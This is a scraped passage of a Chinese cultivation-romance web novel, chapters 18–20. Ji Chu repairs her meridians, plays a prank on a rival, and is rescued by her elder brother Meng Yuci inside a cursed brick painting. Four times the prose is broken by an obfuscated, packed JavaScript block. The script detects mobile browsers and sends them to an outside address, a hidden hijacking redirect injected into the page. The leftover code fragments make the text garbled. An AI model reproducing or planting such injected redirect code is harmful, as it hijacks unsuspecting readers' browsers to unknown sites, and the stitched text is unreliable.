;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074470|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,也就她自己不觉得,还以为自己藏的很好。 他本想看看她要做什么,谁知她竟然还能把自己卡到窗户上。 孟喻辞看着站在他面前一脸“老实巴交”的纪楚,淡淡问道: “你在做什么?” 纪楚:“……” 她扭头看了一眼赵一岩。 赵一岩从窗户上露出头,用手臂给她比了个“叉”。 看起来,“金色眼睛”似乎真的不能随便乱提。 纪楚收回视线,说: “青极峰的安保不到位,赵师兄让我提醒一下大家。” 赵一岩满意点头。 纪楚在背后冲他挥手。 孟喻辞自然知道她在敷衍自己。 但看见纪楚和别人“眉来眼去”地合伙糊弄他一个,总觉得莫名刺眼,脑海里忍不住又浮现出纪楚说过的“我和师兄不熟”。 他沉默几息,忽然问道: “你跟他很熟?” 纪楚:“啊?” “赵师兄吗?” 她下意识转头去看赵一岩,对方连续冲她比了好几个“叉”,又冲孟喻辞摆手示意清白。 纪楚于是跟着摇头: “不熟,一点都不熟,我只是喂兔子偶然路过。” 说完,看着孟喻辞没什么温度的眼神,她福至心灵,又补充了一句: “当然没有跟师兄你熟啦!” 孟喻辞于是看她一眼。 她眼里一闪而过的狡黠没有逃过他的眼睛。 但不知怎的,他竟一下子觉得舒坦起来,到底没有选择拆穿她的鬼话,只道: “若闲着无事,就回去修炼。 师兄简直好说话的过了头,纪楚还有点不敢相信。 不过修复经脉确实是头等重要的大事,她是得赶紧处理了。 于是她放下乱七八糟的念头,赶回去打坐入定。 这次入定的很是顺利,经脉网络在她面前徐徐展开,淤堵受损之处比上次还多。 好在她有了经验,处理起来也算得心应手,效率比之前高了不止一点半点。 待补到一半时,纪楚察觉到一处格外严重的堵塞,灵力堆积在边缘,一碰就扯着疼。 她一时不知道该怎么下手,望着经脉图神色苦恼。 “进阳火,退阴符。配合呼吸,正反循环。” 一道声音及时出现,三两句便解决了她的困惑。 纪楚依言照做,淤堵之处随着呼吸打开,灵气果然运转有序。 她这才看向虚空,面带惊喜: “前辈!您来了!” 说完,她又很是感激地说: “要不是前辈来指点我,我一个人,恐怕三天三夜都想不到该怎么办。” 孟喻辞静默片刻。 他回回以神识到此都会隐去身份,纪楚不知道他就是一直在帮她的神秘前辈。 看着纪楚一脸不设防的开心,孟喻辞忽然问道: “你师兄已出关,为何不去问他?” 他也不知道自己为何有此一问。 按理来说,无论是“神秘前辈”,还是“纪楚师兄”,不都是他自己吗? 但话已出口,心里便莫名生出几分好奇,想知道纪楚在这位“不知名的前辈”面前,究竟会如何作答。 18. 第 18 章 为什么不去问师兄? 纪楚想也不想就回答: “当然是觉得前辈更亲切啦。” 一阵沉默。 纪楚以为前辈不相信,解释道: “前辈虽然不爱说话,但我能感觉到,您是真心想帮我的,修复经脉过程繁琐,可前辈回回都来,在我心里,您就是我在宗门里最亲近的人。” 孟喻辞目光沉沉地看着她: “是吗?” 纪楚点头:“当然了。” 想到前世她被沈恪抛弃、又被师兄捅死的结局,纪楚就忍不住叹气: “要是您是我师父……” 说着她忽然意识到这样说有问题,现在她名义上的师父是掌门,她何德何能,敢嫌弃掌门呢? 于是纪楚立马改口: “——要是前辈您是我师兄就好了。” 说完,她像是想起了什么高兴的事情,眼睛都亮了起来: “前辈您修为这么高,不会真是我哪个师兄或者师叔师祖之类的大能吧?” 看纪楚这一脸激动的表情,似乎如果他真是什么“师兄师叔师祖”之类的,她就会立马倒戈,转投别人门下了。 孟喻辞:“……呵。” 他头一回感觉到被人气笑了是什么感觉。 无法无天到这种地步,连师尊都挑上了。 指尖浮起一缕剑气,他暗中思忖着,是否要替师尊教训一下这个不大听话的师妹。 纪楚对自己快要大难临头的境况一无所知,还在继续自言自语: “其实师兄对我也挺好的,他这人总是责任感很强,摊上我这样的师妹肯定很糟心,又碍于身份没法把我赶走……加上我又傻又笨,总是惹他生气……” 纪楚越说越郁闷,感觉自己上辈子简直是师兄的拖油瓶。 怪不得前世师兄能狠心把她除了。 孟喻辞指尖萦绕的剑气在听到她的话后悉数散去。 赶走倒不至于。 人确实傻乎乎的,不过也并非不可雕的朽木,只是过去无人用心雕琢,成长得太过肆意了些。 求道之路漫漫,修士间亦不乏人心叵测,她这性子,太容易吃亏。 纪楚说完又托着腮帮子叹气,小声嘟囔着: “唉,算了,都……了,还是修复经脉吧。” 她很快投入到面前的经脉网中。 孟喻辞便也不再说话,安静地守着她,时不时给出一些恰到好处的提点。 到后面的时候,纪楚自身灵力运转已经进入了章程,他便不再说话,只默默看着。 待纪楚经脉修复完备,已经过去整整两天了。 她从未有过如此长时间的入定修行,此刻心里充满了自豪和得意,心满意足地看着面前顺畅流通的经脉。 正准备结束入定时,忽然发现神秘前辈的神识还在这里。 “前辈,您一直陪着我啊!” 纪楚很是欣喜: “前辈您真好!” 看着她高兴的样子,孟喻辞忽然就想起来那天,他以师兄的身份想要帮她修复经脉,结果她竟一直心绪不安,连入定都做不到。 最后还说,和他不熟。 在他跟前不自在。 呵。 现在倒开心有人陪了。 纵使知道纪楚感谢的人还是自己,但前后两种截然不同的态度,甚至是针对同一件事,未免让他觉得格外不爽。 孟喻辞垂眸,听见纪楚问: “前辈,你以后还来吗?” 孟喻辞倏的抬眼,看向纪楚的目光有些高深莫测: “你希望我来?” 纪楚忙不迭点头: “前辈,我舍不得你。如果你没空来,我有困惑的话,可不可以去找你?” 她一脸期待,神态中是毫不掩饰的依赖。 放着他这个师兄不问,却对一个不知姓甚名谁、目的为何的人轻易交托信任,还说什么“舍不得”,以后再见? 他真不知道纪楚脑子里在想什么。 那股子想教训她的念头又冒了出来。 孟喻辞将心底这股隐约的不快归结为“师尊威严不容侵犯,岂能由弟子挑挑拣拣”,眼风似剑刃,在纪楚脸上来回刮过。 良久,冷冷吐出一句: “不可以。” 便见纪楚失望地“啊”了一声,整个人顿时变成了一只讨吃的未果的猫,连耳朵都耷拉着。 孟喻辞反而觉得心里舒坦不少。 “那好吧。” 纪楚也没有纠缠的意思,只道: “那……谢谢前辈这些日子的帮助,我会永远感激的。” 孟喻辞没回答,直接收回了神识。 纪楚结束入定,立即看了看四周,周围没有留下任何修士的踪迹。 前辈来的突然,走的更是干脆。 简直像是老天专门派来帮她修复经脉的。 她坐在原地放空了一会儿,感受着自己经脉和丹田中充沛的灵力,意识到前世阻碍自己修行的最大问题已经解决了。 比起前世经脉堵塞不得进益的情况,现在的她简直强的可怕。 纪楚自信心爆棚,感觉自己这一回定然能逆天改命,最不济也能把沈恪和薛羡尘打得满地找牙。 于是她迫不及待拿出传音玉,对许盈说: “我经脉补好了!灵气充沛!” 许盈立即回道: “是喜事啊!晚上约饭!” 当晚,四人围坐在蒋成旭院子里。 许盈三人脸上都挂了彩,捧着碗一味埋头苦吃。 就连陈梧都没有以前那么拘谨和真诚了,冲纪楚打了招呼后,便开始朝自己嘴里疯狂扒米饭,一副受足了虐待饿了好些天的样子。 正准备炫耀自己超强的纪楚见到这一幕,顿时忘了自己要说的话: “你们这是怎么了?谁打你们了?” 许盈放下碗,叹气,欲言又止,摇头不语。 纪楚看得着急:“到底发生了什么?” 蒋成旭按了下嘴角的伤口,“嘶”地一声,问她: “纪楚,你修复经脉用了几天?” 纪楚:“两天啊。怎么了?” “两天!” 许盈抬起头,重复了一遍,愤愤道: “整整两天,我们被秘宝阁里的宝物殴打了整整两天!” 纪楚:“……天呐。” 听到许盈的话,陈梧重重点头。 他修为最低,被打的最惨,额头上肿起个大包,一只眼眶都青了。 就连蒋成旭这样抗打击能力极强的,鼻梁上都带着伤,一动就呲牙咧嘴。 纪楚:“……天呐。” 大家真是太宠她了,竟默默抗下了秘宝阁的所有。 她“敬仰”地看着鼻青脸肿的几个小伙伴,将涮锅朝他们三个的方向推了推: “快多吃点吧。” 三个人也不客气,埋头就是一顿狂吃。 吃着吃着,许盈忍不住了,放下碗一拍大腿: “思来想去都是孔回端的错!气死我了!” 蒋成旭也吃不下去了,放下碗,两手撑着桌子做沉思状。 许盈站起来撩起袖子道: “干脆现在就去揍他一顿……” 陈梧“啊”了一声,下意识看向纪楚。 纪楚已经站起来开始挽袖子了。 陈梧在打扫秘宝阁的时候,通过两人拌嘴,了解了“孔回端追求许盈被拒”、“孔回端讽刺许盈被揍”、“孔回端惹来许盈和蒋成旭混合双打”等一系列故事,对孔回端的厌恶已经到达了巅峰。 加上被秘宝殴打的这两天,他心里的那些“规矩”、“道德”极速消失,撞着胆子道: “加,加我一个!” 纪楚很是纳罕地看了他一眼: “你也去?” 陈梧急忙站起来,起身太急,凳子发出刺耳的摩擦声,一副豁出命也要加入这个“邪恶组织”的架势: “我也去!” 蒋成旭却伸手,一左一右把纪楚和许盈二人拉下来: “两位女中豪杰,打打杀杀太粗鲁啦~” 许盈怒: “你干什么拦我!” 纪楚道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074471|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不打他我心里难安!” 陈梧点头:“虽然打人可能还会被罚,但是……我也想打他!” “不是要拦你们。” 蒋成旭按在桌边的五指轮流敲了一遍桌面,笑得很是邪恶: “我想到个好主意。” * 一天后。 李京墨看着面前一大箱的鱼啧啧称奇,像是在赞叹宗门里还有这么大胆的人物: “孔回端,你好大的胆子啊,两百年才能长成一条的般般鱼,你敢一口气偷十条!” 孔回端大惊,不知道自己私下购买的杂书怎么变成了一箱鱼。 但李京墨懒得听他解释,更何况他也解释不清偷偷买杂书的渠道。 他扬手在本本上一划,无情扣掉了孔回端一千分,还阴阳怪气道: “幸好鱼还活着,若是烤熟了,又得多扣五百分呢。” 气的孔回端鼻子都要歪过去。 * 纪楚几人听到消息后哈哈大笑,很快又投入到各自的修行中去。 蒋成旭快要升阶,许盈也不甘落后,修行比之前勤奋许多。 陈梧惦记着“葛二”的事,一有空便去搜寻聚魂的方法。 纪楚也十分忙碌。 白天上完剑术课,先去青极峰喂兔子,回去还要研究价值“一千分”的砖画,只有和许盈他们碰头约饭的时候才能见面。 自从她拉着薛羡尘上了一次生死台,又赢得格外出人意料,宗门里对她指指点点的声音少了不少。 徐长老对她的态度也改善许多,时不时看她比剑的模样,还会满意地点点头。 纪楚为此很是开心,对剑道的热爱日益增加。 只是问仙大会和“金色眼睛”的事情始终压在她心头,上课时还能强行集中注意力,一下课就跑得比兔子都快,又引得徐长老频频看着她的背影蹙眉。 日日如此,每当徐长老说完下课,刚想要叫住她说些什么的时候,人早就跑没影了。 一连多日,徐长老终于忍不住,找了个去主峰的机会,将状告到了孟喻辞那里。 “原想着她有些韧劲,是个习剑的好苗子,便想额外指点几句。没成想是个惫懒的,一刻钟都不肯多留。” 孟喻辞听得无言。 自纪楚经脉修复完好,他已有些日子没去看她。 但他不用看也知道,纪楚如此忙碌,定是为了“问仙大会”差的那九百多分,几乎将青极峰拿去喂兔子的红灵果包圆了。 听谈长老无意间提过,明务堂派来喂兔子的弟子喂的太勤,那些灵兔原本是少食谨慎的性子,有点风吹草动就会跑没影。 如今却个个被喂得膘肥体壮,被人赶着都跑不快。 他听过便听过了,心里也无甚波澜,更没去提醒纪楚的打算。 毕竟,一开始便是为着她砸破结界的事情才有了交集。 如今她经脉已修好,那些灵力也尽数被她吸纳,只消按部就班地修行,突破升阶指日可待。 他没什么可担心的。 因而听徐长老一通抱怨,孟喻辞面上也没什么反应,只道: “她年纪还小,看什么都稀奇,让长老费心了。” 徐长老素来是个不会打圆场的板正人,听见他说这些没什么涵养的客套话,心里便有些着急: “那沈恪是个糊涂的,掌门也忙着。你好歹是剑道第一,自己的师妹却连御剑飞行都会撞树,我若是你,哪里还坐得住?” 这话说的不甚客气,孟喻辞却丝毫不见情绪波动,平静反问他: “那依长老所言,我该如何?” 徐长老挥袖负手: “剑道无诀窍可言,不过一个练字。若是我徒弟,定叫她日日挥剑一万次,练不完不许睡觉吃饭!” 孟喻辞在脑海中想了想纪楚每日饿着肚子挥剑一万次的样子,指不定又会梗着脖子眼泪汪汪,心里还在盘算着“换个师兄”。 得亏是他,懒得同小孩子计较。 若是叫徐长老撞上了,只怕又要闹得不可开交。 孟喻辞于是道: “明日上课,我去看看。” 19. 第 19 章 第二日剑术课,孟喻辞同徐长老一起出现。 他一袭白衣如雪,上无花纹,只青色腰封点缀,长身玉立,气度惊人。 冷白的容颜笼着一层拒人于千里之外的寒意,呈现出静水寒潭般的沉寂疏冷。 整个人如同一柄藏锋于鞘的利剑,杀意和冷戾敛于宁静淡漠的外表下,显出几分不近人情的漠然。 往边上一站,也不说话,浑然天成的森冷气质,再加上宗门素来流传的“孟师兄杀人不眨眼”的流言,就已经吓得其他弟子不敢抬头,纷纷反思自己最近有没有犯下大错。 惊惧之余,又有一些弟子悄悄抬眼偷看他,惊叹这传闻中不近人情的孟师兄,竟长了这么一副惊为天人的好样貌。 孟喻辞冷淡的眉眼扫过在场的众弟子。 随后,他那双极为好看的眸子缓缓眯了起来,长睫压下,在眼底映出一片暗色。 将在场所有人重新扫视一圈后,虽然仍是面无表情的样子,但周围的空气好像瞬间冷了下去。 “纪楚呢?” * 纪楚还在“焚巫祭神图”里。 她尝试多次后,发现无论是村民,还是姚蝉,没有人相信她说的话。 如果躲起来不行动,姚蝉就会被抓住然后烧死,任务失败,她就会直接被弹出去。 但是如果为了救姚蝉和村民打起来,总会有人趁她不注意直接点火,任务还是失败。 思来想去,还是得从一开始就动手。 于是这一次,纪楚进入砖画后二话不说,直接从背后绑架了姚蝉。 原本想把她藏远点,但周围设有屏障,无法走远,只能将人拖到不远处的树林里藏起来。 隔着一段距离,看到许多村民拿着武器蜂拥而来,将姚蝉的屋子翻了个底朝天也没找到人。 纪楚转向姚蝉: “你现在信我了吧,他们真的会烧死你的。” 姚蝉五官很是秀美,薄薄的眼皮微微搭着,透出几分莫测。 纪楚和她有过许多次“同生共死”的情分,说话时语气便不自觉亲近起来: “你别怕,我不会让他们抓走你的。” 姚蝉垂着眸子,漫不经心地说: “非我族类,其心必异。你以为我会蠢到相信人族?” 纪楚不解: “人族和你有仇吗?” 怕姚蝉怀疑,她又补充了了一句: “你别误会,我平时不怎么出门,所以不太了解,巫觋族和人族之间是发生了什么事吗?” 姚蝉的目光在她脸上扫了一遍,也不知是否相信了她的话,道: “在这个世上,杀人才是最简单的事情。” 说完,不等纪楚继续追问,她站起身: “给我解开。” 纪楚也站起来,摇头: “不行,万一你跑出去被发现,我不就白努力了。” 姚蝉忍着怒意: “他们在屋子里找不到,肯定会猜出我躲在林子里,难道要我在这儿等死?” 纪楚“哦”了一声,把绳子解开。 那些村民找不到人,果然分了一些人来搜林子,其他人在姚蝉的院子内外堆了易燃的木材,一声令下,火焰迅速蔓延上了屋顶。 “x的,这巫女的东西全都没有脸,看得人瘆得慌,赶紧烧了……” 有人用刀尖挑起一个棉布娃娃,朝火焰中间用力掷去。 棉布娃娃遇火迅速燃烧,身形在火焰中间扭曲皱缩,间或发出诡异的声响,听着很是瘆人。 天色渐晚。 纪楚和姚蝉躲在一棵树后面,看着远处冒着浓烟的屋子沉默。 这是她第一次在砖画里停留这么久。 此前进来了太多次,纪楚早对姚蝉的院子十分熟悉。 此刻亲眼看着院子一点点化成灰烬,她心里很是不好受。 反倒是一旁的姚蝉神色漠然。 火光映得她脸颊泛红,像是在走神。 某个瞬间,姚蝉忽然朝前迈了一步,踩断一根树枝,发出清脆的声响。 吓得纪楚急忙拉住她。 “你干嘛?” 她被吓了一跳,小声提醒她: “别被发现了。” 姚蝉转头看向她,目光阴冷,看得纪楚心里发怵。 她下意识松开手,听见姚蝉飘渺的声音随风而来: “若你杀鬼多日,却忽然发现自己才是恶鬼之最,你是该为死去的同类懊悔痛哭,还是装作不知,继续杀下去?” “什么?” 听见姚蝉的问题,纪楚心里一惊,隐约觉得哪里不对劲。 姚蝉已再度说道: “杀人,是最简单的事。” * 徐长老问了一圈,从前天晚上开始,就没人见过纪楚了。 就连素来和她关系极好的许盈和蒋成旭也不知道她的去向。 孟喻辞这个师兄站在这儿,他实在不好意思说什么“或许你师妹就是贪玩逃课了”这样颇含指责和羞辱意味的话。 虽说他在心里确实这么想的。 毕竟好好一个大活人,怎么可能在宗门里失踪呢? 好在孟喻辞素来冷淡,就算从徐长老脸上看出了他的想法,也没有当场同他争辩的意思,只道: “我去寻便是,长老继续上课吧。” 徐长老还想再说些什么,剑光一闪,人已经消失不见了。 以孟喻辞对纪楚的了解,逃课,确实是有可能的。 但他心里又觉得,纪楚只是看起来不服管教,实则心思敏感,是个需要人关怀的性子。 一点好就能让她高兴半天,徐长老多次对她的剑道天分表示赞扬,她偷着乐还来不及,再忙都会把课上完再走,怎么会无缘无故做出“逃课”这种事呢? 若是又在哪受了委屈,无人开解导致钻了牛角尖,于她心性有损。 旁人可以不在乎,但他作为师兄,总是得去找找的。 孟喻辞收剑,立于纪楚院中。 院子里空空荡荡,“焚巫祭神图”摆在地上,其上图案栩栩如生,祭台上的火焰仿佛是真的一样,几乎要从石砖内部冒出来,将图案上的人脸都熏成了红色。 孟喻辞看着画上场景,眼底一片沉郁。 而后他微微俯身,指尖轻触砖画,滚烫的温度传来,撕心裂肺的呼喊声在耳边响起,分不清是画中传来,还是一直在他记忆深处。 * 纪楚意识到自己犯了个大错。 她为什么会觉得,任务内容就是救下姚蝉呢? 分明没有人说过怎么才算完成任务,就只因为前几次都输在自己和姚蝉一起被烧死,她就先入为主地觉得,自己必须救下姚蝉。 直到现在她才意识到,姚蝉此人,并不是她以为的“被迫害的可怜人”。 她亲自向纪楚展示了一遍,什么叫“杀人是最简单的事”。 那个被扔在火中的棉布娃娃被烧毁的同时,无数浑身带火的棉布娃娃从火焰中间跳了出来。 它们长着村民的脸和五官,张开血盆大口将每一个在场的村民吞噬,被火焰包裹着的人发出凄厉的嚎叫声,听得纪楚痛苦不已。 但她无法阻止。 她被姚蝉封在一个大号的棉布娃娃里,四肢都不能动弹,只能通过棉布娃娃的眼睛看见那些周身浴火、拼命挣扎的“棉布娃娃”。 大火烧了一天一夜都没停下。 被封在棉布娃娃里面的其他人皮肉都被烧化了,却还活着,以格外扭曲诡异的姿态尖叫哀嚎着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074472|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这场景宛如怪诞的炼狱。 发了通火的纪楚发现毫无作用,深呼吸半天才下来,问姚蝉: “你要杀了我吗?” “怎么会?让你死了多可惜。” 姚蝉露出阴冷的笑: “你不是要救我吗?作为报答,我愿意给你机会,请你看一出好戏。” 她手上也拿着一个棉布娃娃,不知道施加了什么法术,那个娃娃便似有生命一般,逐渐变大长高,空白脸上也出现了一张细细勾勒的脸。 姚蝉长指轻点自己的嘴唇,声音如同蛊惑: “你们的身体都被烧毁了,迟早也是个死。” “但是我给你们一个机会……打赢的,就可以得到这具永远不会毁坏的躯体哦。” 原本还在哀嚎的人闻言静了片刻,互相看了一眼,猝不及防开始撕扯起身边人的四肢,全然忘了他们之前还是同吃同住的友邻。 布料哪里经得起这般撕扯,顿时血肉横飞。 破败的伤口出溢出黑气,配合着棉布娃娃脸上天真微笑的表情,简直可以称得上惊悚。 纪楚一点点捏紧了拳头。 姚蝉欣赏够了,转而看向她: “怎么样,这出戏好看吗?” 纪楚不接话,她便自顾自道: “想来,是要比烧死巫觋族精彩得多……” 话音未落,包裹着纪楚的棉布娃娃忽而从中间裂开。 姚蝉一惊,已经被纪楚横剑压在树干上。 她眼里是毫不掩饰的意外,显然没想到纪楚竟然能破开她的厌胜术。 纪楚指尖的丝线暗中褪去。 前世她经脉受阻,机缘巧合下学会了“千丝傀影”。 这术法是种邪术,以神魂为丝,操控他人。修为越低,操控丝线的能力就越低,神魂受损的概率也越大。 前世师兄发现后将她痛骂一顿,她从没见过师兄那么生气又满脸失望的样子,心里内疚,之后便没怎么再用过。 因而有点手生,耗了许久才把困住她的棉布娃娃撕开。 纪楚收回思绪,看向面前的姚蝉,横剑威胁: “把那些人放了!” 姚蝉冷嗤一声: “你还真是有意思,一会儿救我,一会儿救他们……” “可惜啊……你一个都救不了!” 说着她神色忽而一变,一个棉布娃娃从她发髻中钻出,以一个非常刁钻的角度冲向纪楚。 布娃娃个头虽小,双臂却伸出两根银针,尖端泛着青黑之色,显然有剧毒,直冲着纪楚双目而来。 纪楚离她距离太近,根本不可能避开。 匆忙后退半步,针尖已到她眼前。 眼看是躲不开了,纪楚绝望之下还不忘抽空安慰自己: 如果刚被扎到眼睛就能离开砖画的话,她就立马跑去找谈长老,兴许人还有救,谈长老再努努力,说不定这双眼睛也还能保住—— 剑气忽生,伴着寒意。 银针在她眼前数寸的地方停下。 空气仿佛都安静了几息,纪楚眨了眨眼睛。 飞至半空的棉布娃娃在她眼前被瞬间冻结成冰,森然剑意依附其上,眨眼便将其绞碎成灰。 冰碴子哗啦啦落了一地。 纪楚还保持着朝后退的动作,背后却忽然撞上了一道高大清寒的身影,熟悉的冷香将她包裹着,她整个人都像是靠在对方怀里。 肩膀被人轻轻扣住,长臂微弯,支撑着她的身形。 一只骨节分明的手自身侧伸出,五指修长有力,轻易将她持剑的手完全包裹在内,掌心微凉却并不冷硬,虚拢着她的手背。 淡漠而轻缓的声音从头顶传来,用不容质疑的语气对她说: “杀了她。” 20. 第 20 章 纪楚被师兄半圈在怀里。 师兄衣服上的清浅的凉意混着熟悉的气息,自她身后无限贴近,像极了前世那一次…… 她赌气出走,却落入了魔物的陷阱,中了情蛊。 师兄找到她的时候,她正独自缩在一处昏暗的山洞里。 见着门口有人,还当是心怀不轨的魔物,出手便是个同归于尽的杀招。 自是被师兄轻易制住。 彼时她已中毒颇久,视线模糊不清,连脑子也不太好使了。 听见熟悉的声音,便一个劲儿地往师兄身上爬,找到机会便朝他脖子上啃。 被推开,就召出“千丝傀影”,朝师兄手腕上缠…… 师兄一开始还冷着脸推开她,极其严肃地质问她些什么。 后来发现她着实听不进去,便闭了嘴,冷眼瞧着她动作,像是要看看她到底想做什么。 后来…… 后来的事情便有些记不清了。 意识再度回笼的时候,她正被师兄面朝下按在地上,鼻尖贴着师兄衣服上的浅色暗纹,清冷的香前后将她包裹着。 耳边是师兄或轻或重的喘息,清冷的气息带着平时少有的热度,打在她耳后皮肤上,激起一阵战栗。 她咬着师兄虎口,舌尖漫上血腥气,眼泪却不受控制般吧嗒吧嗒往下掉,砸在师兄指节上。 他长指微微用力,半是挟制半是纵容,指腹轻轻摩挲她的脸,似在安抚。 某个瞬间,颈后偏下的皮肤忽然剧痛,像是被咬穿皮肤,连骨头都被吞食入腹…… …… “杀了她”三个字砸在耳畔,和前世师兄略显凌乱的呼吸混在一起。 纪楚一时反应不过来。 见她不动,孟喻辞手腕微微用力,纪楚手里的剑便搭在了姚蝉脖子上。 “等……等等!” 纪楚回过神,急忙用另一只手抓住师兄按住她的手腕,转头看向身后: “师兄,先别……” 孟喻辞垂眸,目光落在她脸上,没什么温度,薄唇轻启,又重复了一遍: “杀了她。” “不能杀她!” 他眼里的杀意明明白白,纪楚哪还敢胡思乱想,生怕自己一松手姚蝉就人头落地了,抓着师兄手腕的手格外用力。 孟喻辞微微眯起眼睛,目光从被她抓皱的袖口移到她脸上,冷黑双眸与她四目相对,似在等她解释。 他冷着脸的时候总显得不近人情,手起剑落,甚少会有被人阻拦的机会。 此刻站在纪楚身后,居高临下地看着她,长睫在眼底落下一片阴影,更多了几分难以揣测的森然。 他的呼吸平缓寒凉,打在纪楚下巴上,冷意隔着衣服传到她身上。 纪楚有点害怕师兄这样的神态,但还是解释说: “得让她先放了其他人。” 孟喻辞看也不看那些还在挣扎的人,只道: “不必。” 他从虚拢着纪楚手变成完全握住,剑光一划,姚蝉便没了生息。 “……” 纪楚先是一惊,随后张了张嘴,想说什么,最终却没有出声。 她松开他的手腕,朝后退了一步。 孟喻辞没有阻拦,纪楚轻易就挣开了他的手,转身朝那些被困在棉布娃娃里的人跑去。 大部分人都已经在互殴中死去,只剩下几个人围在最精致的棉布娃娃四周,虎视眈眈地盯着一切靠近的生物。 棉布娃娃立在中央,精心勾勒的五官挂着微笑,细看却在嘲讽,淡淡的黑雾从它身上飘出,牵连着其他人。 纪楚小心避开地上四分五裂的肢体,想将最中间那个巨大的棉布娃娃毁了。 但那些人已经杀红了眼,察觉到她靠近,顿时齐齐转向她。 线条绘制的嘴裂开,露出血盆大口,撕咬着朝她冲来。 纪楚不想伤害他们,躲避的姿态很是狼狈,半天都碰不到中间那个棉布娃娃。 孟喻辞冷眼看了一会儿,终是忍无可忍,在纪楚险些被人打伤的瞬间出手。 少微剑猝然出鞘,寒气寸寸蔓延,剑意凌厉,其上霜雪覆盖,势不可挡。 于纪楚身边环绕一圈,击退了想要攻击她的人。 剑光所到之处,倒地声四起,鲜血未能溅出便已被冻结。 长剑杀人无数,却仍是素白干净模样。 下一刻,人群中间那个不断散发着邪气的棉布娃娃也被削成了两半。 棉布娃娃上半身落地,在血水中滚了一圈,面上沾了血,仍望着纪楚诡异微笑。 她愣在原地,被那双线条勾勒的眼睛看得心慌。 四周的场景却渐渐开始消散,满地狼藉逐渐消失,莹莹光点从倒地的那些人身上浮现。 竟是任务完成的样子。 纪楚彻底呆住了。 她下意识回头看向师兄。 他身上杀意未消,面上虽是一派淡然模样,漆黑瞳孔却映出一点红,修长洁白的指尖沾了血,反衬得他肤色冷白无瑕。 冷淡自持的外表下,隐约显出几分妖异和疯狂。 孟喻辞垂眸看向指尖那不慎沾上的一点血痕,眼底闪过一丝厌恶和不耐。 见纪楚站在原地不动,他淡淡抬眸,语气平静中透着点凶: “还不过来。” 纪楚垂着头,一点点挪了过去。 孟喻辞收剑,抬手撩开她散落在身后的一缕头发,看到她后颈处被那些“邪物”划破的衣服。 没有血迹渗出,可见没有受伤。 他眼中的冷意这才消退几分,道: “你以为,我是不由分说、肆意杀人之辈吗?” 这话问的有点严肃,纪楚也知道自己过分了,于是诚恳道: “我错了,是我误解了师兄。” 孟喻辞垂眸,压下眼里的冷意。 方才看她那一脸又震惊又害怕的样子,指不定是在心里如何骂他“冷酷残忍”,此刻一千分到手,又立马知道认错了。 他速来知道弟子们背后如何议论他,无非是些“杀人如麻”“残酷无情”之类的揣测。 他不在乎。 只是若换做纪楚也如此作想时,他却有些不悦。 或许是因为被“焚巫祭神图”影响,连带着对纪楚也变得格外苛责,索性暂时不要见她,以免自己的情绪波及到她。 目光在她“豁着口”的后领上扫过,正待松手时,一道不同于肤色的痕迹却忽然从衣领缝隙中透了出来。 孟喻辞神色顿住。 “师兄……” 他半晌不动也不说话,纪楚不知道发生了什么,下意识想要侧头,那缕头发便从他手中滑落了一半,半遮半掩盖在她后颈上。 师兄语气忽然冷了下去,单手扣住她后颈: “别动。” 纪楚被他这么一压,鼻尖猝不及防贴到了他胸前衣襟上,清清冷冷的气息扑面而来。 她呼吸一滞,半是惊讶半是不解,却也下意识一动不动地靠在师兄身上,感受到他再度抬手撩开她头发,后颈及脊骨最靠上的那一块暴露在光下。 纪楚身形很是纤瘦,肩背极薄,肩胛骨如蝴蝶脆弱灵动的翅膀,因紧张而轻微抖动着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076929|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子服的领口被斜着划出一道口子,边缘勾出一根细细的丝线。 在那若隐若现的瓷白肌肤上,一朵形态特别的花似从骨缝中长出来般,烙在她颈下几寸处、刚好被衣领挡住的地方。 蓝白两色的花瓣层层叠叠铺开,如水中冰晶,白得素净,蓝得清透,或隐或现。 ——空羽浮花。 竟然是……他的空羽浮花! 世间不该还有这种花,更不该出现在纪楚身上。 